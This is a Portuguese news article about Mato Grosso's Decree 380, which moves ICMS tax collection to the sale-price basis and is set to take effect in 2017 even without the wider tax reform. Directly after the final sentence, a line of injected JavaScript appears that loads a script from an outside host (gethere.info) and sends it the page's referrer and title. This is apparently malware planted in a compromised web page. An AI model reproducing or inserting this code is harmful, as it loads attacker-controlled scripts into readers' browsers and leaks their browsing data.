Decreto do ICMS entrará em vigor sem reforma

Reforma do ICMS afetaria diretamente os empresários

Fonte: Circuito MT

O decreto 380 que altera a forma de pagamento do Imposto Sobre Circulação de Mercadorias e Serviços (ICMS) entrará em vigor em 2017, mesmo que a reforma do sistema tributário não esteja pronta, de acordo com novo secretario de Estado de Fazenda (Sefaz), Seneri Paludo.

Se mantida a reformulação deve gerar tributação em excesso e uma enxurrada de ações judiciais em todo o Estado, de acordo com os advogados tributaristas.

Em junho, o governador Pedro Taques (PSDB) suspendeu pela terceira vez o pedido de vigência do decreto até janeiro de 2017. Paludo afirmou que independente da reforma, o decreto entrará em vigor e começa a funcionar no ano que vem.

A tributação do ICMS atualmente é feita pela entrada, ou seja, pelo valor de compra da mercadoria somada a uma estimativa de lucro, com base no Código Nacional de Atividade Econômica (CNAR). A nova proposta é que a tributação seja feita pelo valor de venda ao consumidor, que é a base de calcula para cobrança do imposto.

O imposto modal será de 17% e outros produtos podem chegar a 35%. Mato Grosso é o único estado que tem essa forma de cálculo e o objetivo, segundo Paludo, é adequar o Estado ao Código Tributário Brasileiro.

Paludo garantiu que o governador não irá tomar medidas sem antes conversar com a categoria e que os empresários serão avisados sobre o que será feito para que estejam preparados para  o que venha a acontecer.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;